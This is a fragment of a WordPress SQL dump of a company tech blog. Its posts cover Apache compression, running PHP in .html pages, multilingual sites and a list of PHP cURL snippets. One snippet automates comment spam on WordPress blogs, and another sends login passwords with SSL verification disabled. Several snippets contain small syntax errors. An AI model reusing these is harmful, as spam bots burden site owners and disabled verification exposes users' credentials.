file:\r\n<b>\r\n<strong>AddType application/x-httpd-php .html</strong>\r\n\r\n<strong>AddType application/x-httpd-php .htm</strong></b>','Executing PHP code on my existing yourpage.html page','','inherit','open','open','','147-revision-v1','','','2014-07-21 10:24:25','2014-07-21 10:24:25','',147,'http://localhost/yalavarthitechnologies/blog/?p=149',0,'revision','',0),(150,1,'2014-07-21 10:27:22','2014-07-21 10:27:22','<strong>Summary:</strong>\r\n\r\nReducing costs is a key consideration for every IT budget. One of the items looked at most closely is the cost of a company\'s bandwidth. Using content compression on a Web site is one way to reduce both bandwidth needs and cost. With that in mind, this article examines some of the compression modules available for Apache, specifically, mod_gzip for Apache 1.3.x and 2.0.x and mod_deflate for Apache 2.0.x.\r\n\r\nContent Compression Basics\r\n\r\nMost compression algorithms, when applied to a plain-text file, can reduce its size by 70% or more, depending on the content in the file. When using compression algorithms, the difference between standard and maximum compression levels is small, especially when you consider the extra CPU time necessary to process these extra compression passes. This is quite important when dynamically compressing Web content. Most software content compression techniques use a compression level of 6 (out of 9 levels) to conserve CPU cycles. The file size difference between level 6 and level 9 is usually so small as to be not worth the extra time involved.\r\n\r\nCompression in HTTP\r\n\r\nFor files identified as text/.* MIME types, compression can be applied to the file prior to placing it on the wire. This simultaneously reduces the number of bytes transferred and improves performance. Testing also has shown that Microsoft Office, StarOffice/OpenOffice and PostScipt files can be GZIP-encoded for transport by the compression modules.\r\n\r\nSome important MIME types that cannot be GZIP encoded are external JavaScript files, PDF files and image files. The problem with Javascript files mainly is due to bugs in browser software, as these files are really text files and overall performance would benefit by being compressed for transport. PDF and image files already are compressed, and attempting to compress them again simply makes them larger and leads to potential rendering issues with browsers.\r\n\r\nPrior to sending a compressed file to a client, it is vital that the server ensures the client receiving the data correctly understands and renders the compressed format. Browsers that understand compressed content send a variation of the following client request headers:\r\n<ul>\r\n	<li>Accept-encoding: gzip</li>\r\n	<li>Accept-encoding: gzip, deflate</li>\r\n</ul>\r\nCurrent major browsers include some variation of this message with every request they send. If the server sees the header and chooses to provide compressed content, it should respond with the server response header:\r\n\r\nContent-encoding: gzip\r\n\r\nThis header tells the receiving browser to decompress the content and parse it as it normally would. Alternatively, content may be passed to the appropriate helper application, based on the value of the Content-type header.\r\n\r\nThe file size benefits of compressing content can be seen easily by looking at example below for HTML file (<b>homepage.html</b>) (Table 1).\r\n\r\n<b>Table 1. /compress/homepage.html</b>\r\n<table border=\"1\" cellpadding=\"0\">\r\n<thead>\r\n<tr>\r\n<td>\r\n<p align=\"center\"><b>Compression</b></p>\r\n</td>\r\n<td>\r\n<p align=\"center\"><b>Size</b></p>\r\n</td>\r\n<td>\r\n<p align=\"center\"><b>Compression %</b></p>\r\n</td>\r\n</tr>\r\n</thead>\r\n<tbody>\r\n<tr>\r\n<td>No compression</td>\r\n<td>56,380 bytes</td>\r\n<td>n/a</td>\r\n</tr>\r\n<tr>\r\n<td>Apache 1.3.x/mod_gzip</td>\r\n<td>16,333 bytes</td>\r\n<td>29% of original</td>\r\n</tr>\r\n<tr>\r\n<td>Apache 2.0.x/mod_deflate</td>\r\n<td>19,898 bytes</td>\r\n<td>35% of original</td>\r\n</tr>\r\n<tr>\r\n<td>Apache 2.0.x/mod_deflate [2]</td>\r\n<td>16,337 bytes</td>\r\n<td>29% of original</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n&nbsp;\r\n\r\nPlease find the more details on how to setup mod_deflate and mod_gzip <a href=\"http://www.linuxjournal.com/article/6802?page=0,1\" target=\"_blank\">here</a>','Compressing Web content can produce a much faster site for users.','','publish','open','open','','compressing-web-content-can-produce-a-much-faster-site-for-users','','','2014-07-21 10:27:23','2014-07-21 10:27:23','',0,'http://localhost/yalavarthitechnologies/blog/?p=150',0,'post','',0),(151,1,'2014-07-21 10:26:57','2014-07-21 10:26:57','<strong>Summary:</strong>\n\nWhen a web page is accessed, the server checks the extension to know how to handle the page. Generally speaking if it sees a .htm or .html file, it sends it right to the browser because it doesn\'t have anything to process on the server. If it sees a .php extension (or .shtml, or .asp, etc), it knows that it needs to execute the appropriate code before passing it along to the browser.\n\n<strong>Here is the problem</strong>: You find the perfect script, and you want to run it on your site, but you need to included PHP on your page for it to work. You could just rename your pages to yourpage.php instead of yourpage.html, but you already have incoming links or search engine ranking so you don\'t want to change the file name. What can you do?\n\nFirst let me preface this by saying that if you are creating a new file anyway, you may as well use .php. This is to help people who have existing .html pages they need to execute PHP on.\n\nThe way to execute PHP on a .html page is to modify your httpd.conf file.Then you just need to add this line IN httpd.conf file:\n<b>\n<strong>AddType application/x-httpd-php .html</strong></b>\n\n<strong>AddType application/x-httpd-php .htm</strong>','Executing PHP code on my existing yourpage.html page','','inherit','open','open','','147-autosave-v1','','','2014-07-21 10:26:57','2014-07-21 10:26:57','',147,'http://localhost/yalavarthitechnologies/blog/?p=151',0,'revision','',0),(152,1,'2014-07-21 10:29:12','2014-07-21 10:29:12','<strong>Summary:</strong>\r\n<h1><strong>How a website can be displayed in more than one language?</strong></h1>\r\nIdeamine 7 is project where the content on the website can be displayed in English or in Russian depending upon the language chosen by the user.\r\n\r\n<b>Below are the steps on how it is done</b>\r\n\r\nCreate a .po file\r\n\r\nUsing the poEdit tool you can parse the .po file to create the .mo file\r\n\r\nIn the .po file you need to mention the id and the value\r\n\r\nIf the site is needed in two different language then you need to have two .po files.Which have the same id but different values\r\n\r\n<i><span style=\"text-decoration: underline;\">Below is an example where the id is the same but value is mentioned in English and in Russian </span></i>\r\n\r\n<span style=\"text-decoration: underline;\">Value in English </span>\r\n\r\nmsgid \"label_please_enter_first_name\"\r\n\r\nmsgstr \"Please enter first name\"\r\n\r\n<span style=\"text-decoration: underline;\">Value in Russsian</span>\r\n\r\nmsgid \"label_please_enter_first_name\"\r\n\r\nmsgstr \"Пожалуйста, введите имя\"\r\n\r\nUsing phptal in HTML you can call this id, which is replaced by the value that you give in the .mo file\r\n\r\n<i><span style=\"text-decoration: underline;\">Below is an example on how you call this id</span></i>\r\n\r\n${php: this.translate(label_please_enter_first_name \')}\r\n\r\nIn ideamine 7 we have created two .po files , one for English and one for Russian\r\n\r\nIn Ideamin7 we have two login forms on the home page. One in English and one in Russian . Depending upon the form used, a session variable is set to that particular language and  the site is displayed in that particular language.\r\n\r\nDepending upon the value of the session variable, that particular mo file is called in in the translator.php\r\n\r\nIf the user wants to switch the language he can do so by clicking on the preferred language in the dropdown which is provided  at the top on every page.Doing so will change the value of the session variable to that particular language.','Website displayed in multi language','','publish','open','open','','website-displayed-in-multi-language','','','2014-07-21 10:29:12','2014-07-21 10:29:12','',0,'http://localhost/yalavarthitechnologies/blog/?p=152',0,'post','',0),(153,1,'2014-07-21 10:27:23','2014-07-21 10:27:23','<strong>Summary:</strong>\r\n\r\nReducing costs is a key consideration for every IT budget. One of the items looked at most closely is the cost of a company\'s bandwidth. Using content compression on a Web site is one way to reduce both bandwidth needs and cost. With that in mind, this article examines some of the compression modules available for Apache, specifically, mod_gzip for Apache 1.3.x and 2.0.x and mod_deflate for Apache 2.0.x.\r\n\r\nContent Compression Basics\r\n\r\nMost compression algorithms, when applied to a plain-text file, can reduce its size by 70% or more, depending on the content in the file. When using compression algorithms, the difference between standard and maximum compression levels is small, especially when you consider the extra CPU time necessary to process these extra compression passes. This is quite important when dynamically compressing Web content. Most software content compression techniques use a compression level of 6 (out of 9 levels) to conserve CPU cycles. The file size difference between level 6 and level 9 is usually so small as to be not worth the extra time involved.\r\n\r\nCompression in HTTP\r\n\r\nFor files identified as text/.* MIME types, compression can be applied to the file prior to placing it on the wire. This simultaneously reduces the number of bytes transferred and improves performance. Testing also has shown that Microsoft Office, StarOffice/OpenOffice and PostScipt files can be GZIP-encoded for transport by the compression modules.\r\n\r\nSome important MIME types that cannot be GZIP encoded are external JavaScript files, PDF files and image files. The problem with Javascript files mainly is due to bugs in browser software, as these files are really text files and overall performance would benefit by being compressed for transport. PDF and image files already are compressed, and attempting to compress them again simply makes them larger and leads to potential rendering issues with browsers.\r\n\r\nPrior to sending a compressed file to a client, it is vital that the server ensures the client receiving the data correctly understands and renders the compressed format. Browsers that understand compressed content send a variation of the following client request headers:\r\n<ul>\r\n	<li>Accept-encoding: gzip</li>\r\n	<li>Accept-encoding: gzip, deflate</li>\r\n</ul>\r\nCurrent major browsers include some variation of this message with every request they send. If the server sees the header and chooses to provide compressed content, it should respond with the server response header:\r\n\r\nContent-encoding: gzip\r\n\r\nThis header tells the receiving browser to decompress the content and parse it as it normally would. Alternatively, content may be passed to the appropriate helper application, based on the value of the Content-type header.\r\n\r\nThe file size benefits of compressing content can be seen easily by looking at example below for HTML file (<b>homepage.html</b>) (Table 1).\r\n\r\n<b>Table 1. /compress/homepage.html</b>\r\n<table border=\"1\" cellpadding=\"0\">\r\n<thead>\r\n<tr>\r\n<td>\r\n<p align=\"center\"><b>Compression</b></p>\r\n</td>\r\n<td>\r\n<p align=\"center\"><b>Size</b></p>\r\n</td>\r\n<td>\r\n<p align=\"center\"><b>Compression %</b></p>\r\n</td>\r\n</tr>\r\n</thead>\r\n<tbody>\r\n<tr>\r\n<td>No compression</td>\r\n<td>56,380 bytes</td>\r\n<td>n/a</td>\r\n</tr>\r\n<tr>\r\n<td>Apache 1.3.x/mod_gzip</td>\r\n<td>16,333 bytes</td>\r\n<td>29% of original</td>\r\n</tr>\r\n<tr>\r\n<td>Apache 2.0.x/mod_deflate</td>\r\n<td>19,898 bytes</td>\r\n<td>35% of original</td>\r\n</tr>\r\n<tr>\r\n<td>Apache 2.0.x/mod_deflate [2]</td>\r\n<td>16,337 bytes</td>\r\n<td>29% of original</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n&nbsp;\r\n\r\nPlease find the more details on how to setup mod_deflate and mod_gzip <a href=\"http://www.linuxjournal.com/article/6802?page=0,1\" target=\"_blank\">here</a>','Compressing Web content can produce a much faster site for users.','','inherit','open','open','','150-revision-v1','','','2014-07-21 10:27:23','2014-07-21 10:27:23','',150,'http://localhost/yalavarthitechnologies/blog/?p=153',0,'revision','',0),(154,1,'2014-07-21 10:29:12','2014-07-21 10:29:12','<strong>Summary:</strong>\r\n<h1><strong>How a website can be displayed in more than one language?</strong></h1>\r\nIdeamine 7 is project where the content on the website can be displayed in English or in Russian depending upon the language chosen by the user.\r\n\r\n<b>Below are the steps on how it is done</b>\r\n\r\nCreate a .po file\r\n\r\nUsing the poEdit tool you can parse the .po file to create the .mo file\r\n\r\nIn the .po file you need to mention the id and the value\r\n\r\nIf the site is needed in two different language then you need to have two .po files.Which have the same id but different values\r\n\r\n<i><span style=\"text-decoration: underline;\">Below is an example where the id is the same but value is mentioned in English and in Russian </span></i>\r\n\r\n<span style=\"text-decoration: underline;\">Value in English </span>\r\n\r\nmsgid \"label_please_enter_first_name\"\r\n\r\nmsgstr \"Please enter first name\"\r\n\r\n<span style=\"text-decoration: underline;\">Value in Russsian</span>\r\n\r\nmsgid \"label_please_enter_first_name\"\r\n\r\nmsgstr \"Пожалуйста, введите имя\"\r\n\r\nUsing phptal in HTML you can call this id, which is replaced by the value that you give in the .mo file\r\n\r\n<i><span style=\"text-decoration: underline;\">Below is an example on how you call this id</span></i>\r\n\r\n${php: this.translate(label_please_enter_first_name \')}\r\n\r\nIn ideamine 7 we have created two .po files , one for English and one for Russian\r\n\r\nIn Ideamin7 we have two login forms on the home page. One in English and one in Russian . Depending upon the form used, a session variable is set to that particular language and  the site is displayed in that particular language.\r\n\r\nDepending upon the value of the session variable, that particular mo file is called in in the translator.php\r\n\r\nIf the user wants to switch the language he can do so by clicking on the preferred language in the dropdown which is provided  at the top on every page.Doing so will change the value of the session variable to that particular language.','Website displayed in multi language','','inherit','open','open','','152-revision-v1','','','2014-07-21 10:29:12','2014-07-21 10:29:12','',152,'http://localhost/yalavarthitechnologies/blog/?p=154',0,'revision','',0),(155,1,'2014-07-21 10:55:17','2014-07-21 10:55:17','<strong>Summary:</strong>\r\n\r\ncURL, and its PHP extension libcURL, are tools which can be used to simulate a web browser. In fact, it can for example, submit forms.\r\n\r\n&nbsp;\r\n\r\n<b>1 – Update your Facebook status</b>\r\n\r\nWanna update your facebook status, but don’t want to go to facebook.com, login, and finally being able to update your status? Simply save the following code on your server, define the variables, and voilÃ !\r\n\r\n&lt;?PHP\r\n\r\n/*******************************\r\n\r\n*       Facebook Status Updater\r\n\r\n*       Christian Flickinger\r\n\r\n*       http://nexdot.net/blog\r\n\r\n*       April 20, 2007\r\n\r\n*******************************/\r\n\r\n&nbsp;\r\n\r\n$status = \'YOUR_STATUS\';\r\n\r\n$first_name = \'YOUR_FIRST_NAME\';\r\n\r\n$login_email = \'YOUR_LOGIN_EMAIL\';\r\n\r\n$login_pass = \'YOUR_PASSWORD\';\r\n\r\n&nbsp;\r\n\r\n$ch = curl_init();\r\n\r\ncurl_setopt($ch, CURLOPT_URL, \'https://login.facebook.com/login.php?m&amp;amp;next=http%3A%2F%2Fm.facebook.com%2Fhome.php\');\r\n\r\ncurl_setopt($ch, CURLOPT_POSTFIELDS,\'email=\'.urlencode($login_email).\'&amp;pass=\'.urlencode($login_pass).\'&amp;login=Login\');\r\n\r\ncurl_setopt($ch, CURLOPT_POST, 1);\r\n\r\ncurl_setopt($ch, CURLOPT_HEADER, 0);\r\n\r\ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n\r\ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\r\n\r\ncurl_setopt($ch, CURLOPT_COOKIEJAR, \"my_cookies.txt\");\r\n\r\ncurl_setopt($ch, CURLOPT_COOKIEFILE, \"my_cookies.txt\");\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\ncurl_setopt($ch, CURLOPT_USERAGENT, \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\");\r\n\r\ncurl_exec($ch);\r\n\r\n&nbsp;\r\n\r\ncurl_setopt($ch, CURLOPT_POST, 0);\r\n\r\ncurl_setopt($ch, CURLOPT_URL, \'http://m.facebook.com/home.php\');\r\n\r\n$page = curl_exec($ch);\r\n\r\n&nbsp;\r\n\r\ncurl_setopt($ch, CURLOPT_POST, 1);\r\n\r\npreg_match(\'/name=\"post_form_id\" value=\"(.*)\" \\/&gt;\'.ucfirst($first_name).\'/\', $page, $form_id);\r\n\r\ncurl_setopt($ch, CURLOPT_POSTFIELDS,\'post_form_id=\'.$form_id[1].\'&amp;status=\'.urlencode($status).\'&amp;update=Update\');\r\n\r\ncurl_setopt($ch, CURLOPT_URL, \'http://m.facebook.com/home.php\');\r\n\r\ncurl_exec($ch);\r\n\r\n?&gt;\r\n\r\n<b>2 – Get download speed of your webserver</b>\r\n\r\nDo you ever wanted to know the exact download speed of your webserver (or any other?) If yes, you’ll love that code. You just have to initialize the $url variable with any resources from the webserver (images, pdf, etc), place the file on your server and point your browser to it. The output will be a full report of download speed.\r\n\r\n&lt;?php error_reporting(E_ALL | E_STRICT);\r\n\r\n&nbsp;\r\n\r\n// Initialize cURL with given url\r\n\r\n$url = \'http://download.bethere.co.uk/images/61859740_3c0c5dbc30_o.jpg\';\r\n\r\n$ch = curl_init($url);\r\n\r\n&nbsp;\r\n\r\ncurl_setopt($ch, CURLOPT_HEADER, 0);\r\n\r\ncurl_setopt($ch, CURLOPT_USERAGENT, \'Sitepoint Examples (thread 581410; http://www.sitepoint.com/forums/showthread.php?t=581410)\');\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\ncurl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);\r\n\r\ncurl_setopt($ch, CURLOPT_TIMEOUT, 60);\r\n\r\n&nbsp;\r\n\r\nset_time_limit(65);\r\n\r\n&nbsp;\r\n\r\n$execute = curl_exec($ch);\r\n\r\n$info = curl_getinfo($ch);\r\n\r\n&nbsp;\r\n\r\n// Time spent downloading, I think\r\n\r\n$time = $info[\'total_time\']\r\n\r\n- $info[\'namelookup_time\']\r\n\r\n- $info[\'connect_time\']\r\n\r\n- $info[\'pretransfer_time\']\r\n\r\n- $info[\'starttransfer_time\']\r\n\r\n- $info[\'redirect_time\'];\r\n\r\n&nbsp;\r\n\r\n// Echo friendly messages\r\n\r\nheader(\'Content-Type: text/plain\');\r\n\r\nprintf(\"Downloaded %d bytes in %0.4f seconds.\\n\", $info[\'size_download\'], $time);\r\n\r\nprintf(\"Which is %0.4f mbps\\n\", $info[\'size_download\'] * 8 / $time / 1024 / 1024);\r\n\r\nprintf(\"CURL said %0.4f mbps\\n\", $info[\'speed_download\'] * 8 / 1024 / 1024);\r\n\r\n&nbsp;\r\n\r\necho \"\\n\\ncurl_getinfo() said:\\n\", str_repeat(\'-\', 31 + strlen($url)), \"\\n\";\r\n\r\nforeach ($info as $label =&gt; $value)\r\n\r\n{\r\n\r\nprintf(\"%-30s %s\\n\", $label, $value);\r\n\r\n}\r\n\r\n?&gt;\r\n\r\n<b>3 – Myspace login using cURL</b>\r\n\r\n&lt;?php\r\n\r\n&nbsp;\r\n\r\nfunction login( $data, $useragent = \'Mozilla 4.01\', $proxy = false ) {\r\n\r\n$ch = curl_init();\r\n\r\n$hash = crc32( $data[\'email\'].$data[\'pass\'] );\r\n\r\n$hash = sprintf( \"%u\", $hash );\r\n\r\n$randnum = $hash.rand( 0, 9999999 );\r\n\r\nif( $proxy ) curl_setopt( $ch, CURLOPT_PROXY, $proxy );\r\n\r\ncurl_setopt( $ch, CURLOPT_COOKIEJAR, \'/tmp/cookiejar-\'.$randnum );\r\n\r\ncurl_setopt( $ch, CURLOPT_COOKIEFILE, \'/tmp/cookiejar-\'.$randnum );\r\n\r\ncurl_setopt( $ch, CURLOPT_USERAGENT, $useragent );\r\n\r\ncurl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1 );\r\n\r\ncurl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );\r\n\r\ncurl_setopt( $ch, CURLOPT_POST, 0);\r\n\r\ncurl_setopt( $ch, CURLOPT_URL, \'http://www.myspace.com\' );\r\n\r\n$page = curl_exec( $ch );\r\n\r\npreg_match( \'/MyToken=(.+?)\"/i\', $page, $token );\r\n\r\nif( $token[1] ) {\r\n\r\ncurl_setopt( $ch, CURLOPT_URL, \'http://login.myspace.com/index.cfm?fuseaction=login.process&amp;MyToken=\'.$token[1] );\r\n\r\ncurl_setopt( $ch, CURLOPT_REFERER, \'http://www.myspace.com\' );\r\n\r\ncurl_setopt( $ch, CURLOPT_HTTPHEADER, Array( \'Content-Type: application/x-www-form-urlencoded\' ) );\r\n\r\ncurl_setopt( $ch, CURLOPT_POST, 1 );\r\n\r\n$postfields = \'NextPage=&amp;email=\'.urlencode( $data[\'mail\'] ).\'&amp;password=\'.urlencode( $data[\'pass\'] ).\'&amp;loginbutton.x=&amp;loginbutton.y=\';\r\n\r\ncurl_setopt( $ch, CURLOPT_POSTFIELDS, $postfields );\r\n\r\n$page = curl_exec( $ch );\r\n\r\nif( strpos( $page, \'SignOut\' ) !== false ) {\r\n\r\nreturn $randnum;\r\n\r\n}\r\n\r\nelse {\r\n\r\npreg_match( \'/MyToken=(.+?)\"/i\', $page, $token );\r\n\r\npreg_match( \'/replace\\(\"([^\\\"]+)\"/\', $page, $redirpage );\r\n\r\nif( $token[1] ) {\r\n\r\ncurl_setopt( $ch, CURLOPT_POST, 0 );\r\n\r\ncurl_setopt( $ch, CURLOPT_URL, \'http://home.myspace.com/index.cfm?&amp;fuseaction=user&amp;Mytoken=\'.$token[1] );\r\n\r\n$page = curl_exec( $ch );\r\n\r\ncurl_close( $ch );\r\n\r\nif( strpos( $page, \'SignOut\' ) !== false ) {\r\n\r\nreturn $randnum;\r\n\r\n}\r\n\r\n}\r\n\r\nelseif( $redirpage[1] ) {\r\n\r\ncurl_setopt( $ch, CURLOPT_REFERER, \'http://login.myspace.com/index.cfm?fuseaction=login.process&amp;MyToken=\'.$token[1] );\r\n\r\ncurl_setopt( $ch, CURLOPT_URL, $redirpage[1] );\r\n\r\ncurl_setopt( $ch, CURLOPT_POST, 0 );\r\n\r\n$page = curl_exec( $ch );\r\n\r\ncurl_close( $ch );\r\n\r\nif( strpos( $page, \'SignOut\' ) !== false ) {\r\n\r\nreturn $randnum;\r\n\r\n}\r\n\r\n}\r\n\r\n}\r\n\r\n}\r\n\r\nreturn false;\r\n\r\n}\r\n\r\n?&gt;\r\n\r\n<b>4 – Publish a post on your WordPress blog, using cURL</b>\r\nThis function can post on your WordPress blog. You don’t need to login to your WP dashboard etc.\r\nThough, you must activate the XMLRPC posting option in your WordPress blog. If this option isn’t activated, the code will not be able to insert anything into WordPress database. Another thing, make sure the XMLRPC functions are activated on your php.ini file.\r\n\r\nfunction wpPostXMLRPC($title,$body,$rpcurl,$username,$password,$category,$keywords=\'\',$encoding=\'UTF-8\')\r\n\r\n{\r\n\r\n$title = htmlentities($title,ENT_NOQUOTES,$encoding);\r\n\r\n$keywords = htmlentities($keywords,ENT_NOQUOTES,$encoding);\r\n\r\n&nbsp;\r\n\r\n$content = array(\r\n\r\n\'title\'=&gt;$title,\r\n\r\n\'description\'=&gt;$body,\r\n\r\n\'mt_allow_comments\'=&gt;0,  // 1 to allow comments\r\n\r\n\'mt_allow_pings\'=&gt;0,  // 1 to allow trackbacks\r\n\r\n\'post_type\'=&gt;\'post\',\r\n\r\n\'mt_keywords\'=&gt;$keywords,\r\n\r\n\'categories\'=&gt;array($category)\r\n\r\n);\r\n\r\n$params = array(0,$username,$password,$content,true);\r\n\r\n$request = xmlrpc_encode_request(\'metaWeblog.newPost\',$params);\r\n\r\n$ch = curl_init();\r\n\r\ncurl_setopt($ch, CURLOPT_POSTFIELDS, $request);\r\n\r\ncurl_setopt($ch, CURLOPT_URL, $rpcurl);\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\ncurl_setopt($ch, CURLOPT_TIMEOUT, 1);\r\n\r\n$results = curl_exec($ch);\r\n\r\ncurl_close($ch);\r\n\r\nreturn $results;\r\n\r\n?&gt;\r\n\r\n<b>5 – Test the existence of a given url</b>\r\n\r\nIn fact, <i>it is basic</i>, but it is also very useful, especially when you have to work with external resources.\r\n\r\n&lt;?php\r\n\r\n$ch = curl_init();\r\n\r\ncurl_setopt($ch, CURLOPT_URL, \"http://www.jellyandcustard.com/\");\r\n\r\ncurl_setopt($ch, CURLOPT_HEADER, true);\r\n\r\ncurl_setopt($ch, CURLOPT_NOBODY, true);\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\n\r\n$data = curl_exec($ch);\r\n\r\ncurl_close($ch)\r\n\r\necho $data;\r\n\r\n?&gt;\r\n\r\n<b>6 – Post comments on WordPress blogs</b>\r\n\r\n&lt;?php\r\n\r\n$postfields = array();\r\n\r\n$postfields[\"action\"] = \"submit\";\r\n\r\n$postfields[\"author\"] = \"Spammer\";\r\n\r\n$postfields[\"email\"] = \"spammer@spam.com\";\r\n\r\n$postfields[\"url\"] = \"http://www.iamaspammer.com/\";\r\n\r\n$postfields[\"comment\"] = \"I am a stupid spammer.\";\r\n\r\n$postfields[\"comment_post_ID\"] = \"123\";\r\n\r\n$postfields[\"_wp_unfiltered_html_comment\"] = \"0d870b294b\";\r\n\r\n//Url of the form submission\r\n\r\n$url = \"http://www.ablogthatdoesntexist.com/blog/suggerer_site.php?action=meta_pass&amp;id_cat=0\";\r\n\r\n$useragent = \"Mozilla/5.0\";\r\n\r\n$referer = $url;\r\n\r\n&nbsp;\r\n\r\n//Initialize CURL session\r\n\r\n$ch = curl_init($url);\r\n\r\n//CURL options\r\n\r\ncurl_setopt($ch, CURLOPT_POST, 1);\r\n\r\n//We post $postfields data\r\n\r\ncurl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);\r\n\r\n//We define an useragent (Mozilla/5.0)\r\n\r\ncurl_setopt($ch, CURLOPT_USERAGENT, $useragent);\r\n\r\n//We define a refferer ($url)\r\n\r\ncurl_setopt($ch, CURLOPT_REFERER, $referer);\r\n\r\n//We get the result page in a string\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\n//We exits CURL\r\n\r\n$result = curl_exec($ch);\r\n\r\ncurl_close($ch);\r\n\r\n&nbsp;\r\n\r\n//Finally, we display the result\r\n\r\necho $result;\r\n\r\n?&gt;\r\n\r\n<b>7 – Follow your Adsense earnings with an RSS reader</b>\r\n\r\nMost bloggers uses Adsense on their blog and (try to) make money with Google. This excellent snippet allows you to follow your Adsense earnings…with a RSS reader! Definitely awesome.\r\n<i>(Script too big to be displayed on the blog, click </i><a href=\"http://planetozh.com/download/rss-adsense.txt\"><i>here to preview</i></a><i>)</i>\r\n<b>Source:</b> <a href=\"http://planetozh.com/blog/my-projects/track-adsense-earnings-in-rss-feed/\">http://planetozh.com/blog/my-projects/track-adsense-earnings-in-rss-feed/</a>\r\n\r\n&nbsp;\r\n\r\n<b>8 – Get feed subscribers count in full text</b>\r\n\r\nIf you’re a blogger, you’re probably using the popular FeedBurner service, which allo you to know how many people grabbed your rss feed. Feedburner have a chicklet to proudly display your subscriber count on your blog.\r\n\r\n//get cool feedburner count\r\n\r\n$whaturl=\"https://feedburner.google.com/api/awareness/1.0/GetFeedData?uri=feedburner-id\";\r\n\r\n&nbsp;\r\n\r\n//Initialize the Curl session\r\n\r\n$ch = curl_init();\r\n\r\n&nbsp;\r\n\r\n//Set curl to return the data instead of printing it to the browser.\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\n&nbsp;\r\n\r\n//Set the URL\r\n\r\ncurl_setopt($ch, CURLOPT_URL, $whaturl);\r\n\r\n&nbsp;\r\n\r\n//Execute the fetch\r\n\r\n$data = curl_exec($ch);\r\n\r\n&nbsp;\r\n\r\n//Close the connection\r\n\r\ncurl_close($ch);\r\n\r\n$xml = new SimpleXMLElement($data);\r\n\r\n$fb = $xml-&gt;feed-&gt;entry[\'circulation\'];\r\n\r\n//end get cool feedburner count\r\n\r\n<b>Source:</b> <a href=\"http://www.hongkiat.com/blog/display-google-feed-subscriber-count-in-text/\">http://www.hongkiat.com/blog/display-google-feed-subscriber-count-in-text/</a>\r\n\r\n&nbsp;\r\n\r\n<b>9 – Get the content of a webpage into a PHP variable</b>\r\n\r\nThis is a very basic thing to do with cURL, but with endless possibilities. Once you have a webpage in a PHP variable, you can for example, retrieve a particular information on the page to use on your own website.\r\n\r\n&lt;?php\r\n\r\nch = curl_init();\r\n\r\ncurl_setopt($ch, CURLOPT_URL, \"example.com\");\r\n\r\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\r\n$output = curl_exec($ch);\r\n\r\ncurl_close($ch);  ?&gt;\r\n\r\n<b>10 – Post to Twitter using PHP and cURL</b>\r\n\r\nTwitter is very popular since some time now, and you probably already have an account there. (<a href=\"http://www.twitter.com/catswhocode\">We have one too</a>) So, what about using cURL to tweet from your server without connectiong to Twitter?\r\n\r\n&lt;?php\r\n\r\n// Set username and password\r\n\r\n$username = \'username\';\r\n\r\n$password = \'password\';\r\n\r\n// The message you want to send\r\n\r\n$message = \'is twittering from php using curl\';\r\n\r\n// The twitter API address\r\n\r\n$url = \'http://twitter.com/statuses/update.xml\';\r\n\r\n// Alternative JSON version\r\n\r\n// $url = \'http://twitter.com/statuses/update.json\';\r\n\r\n// Set up and execute the curl process\r\n\r\n$curl_handle = curl_init();\r\n\r\ncurl_setopt($curl_handle, CURLOPT_URL, \"$url\");\r\n\r\ncurl_setopt($curl_handle, CURLOPT_CONNECTTIMEOUT, 2);\r\n\r\ncurl_setopt($curl_handle, CURLOPT_RETURNTRANSFER, 1);\r\n\r\ncurl_setopt($curl_handle, CURLOPT_POST, 1);\r\n\r\ncurl_setopt($curl_handle, CURLOPT_POSTFIELDS, \"status=$message\");\r\n\r\ncurl_setopt($curl_handle, CURLOPT_USERPWD, \"$username:$password\");\r\n\r\n$buffer = curl_exec($curl_handle);\r\n\r\ncurl_close($curl_handle);\r\n\r\n// check for success or failure\r\n\r\nif (empty($buffer)) {\r\n\r\necho \'message\';\r\n\r\n} else {\r\n\r\necho \'success\';\r\n\r\n}\r\n\r\n?&gt;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>Prevent js and css files from being cached</b>\r\n\r\nBy default, external files such as javascript and css are cached by the browser. If you want to prevent this from caching, simply use this easy tip:\r\n\r\n&lt;link href=\"/stylesheet.css?&lt;?php echo time(); ?&gt;\" rel=\"stylesheet\" type=\"text/css\" /&gt;\r\n\r\nThe result will look like this:\r\n\r\n&lt;link href=\"/stylesheet.css?1234567890\" rel=\"stylesheet\" type=\"text/css\" /&gt;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>Test if a password is strong</b>\r\n\r\nWeak passwords are one of the quickest ways to get hacked. The following regexp will make sure that:\r\n\r\nPasswords will contain at least (1) upper case letter\r\n\r\nPasswords will contain at least (1) lower case letter\r\n\r\nPasswords will contain at least (1) number or special character\r\n\r\nPasswords will contain at least (8) characters in length\r\n\r\nPassword maximum length should not be arbitrarily limited\r\n\r\n(?=^.{8,}$)((?=.*\\d)|(?=.*\\W+))(?![.\\n])(?=.*[A-Z])(?=.*[a-z]).*$\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<b>Remove URLs from string</b>\r\n\r\nWhen I see the amount of URLs people try to leave in my blog comments to get traffic and/or backlinks, I think I should definitely give a go to this snippet!\r\n\r\n$string = preg_replace(\'/\\b(https?|ftp|file):\\/\\/[-A-Z0-9+&amp;@#\\/%?=~_|$!:,.;]*[A-Z0-9+&amp;@#\\/%=~_|$]/i\', \'\', $string);','Awesome things to do 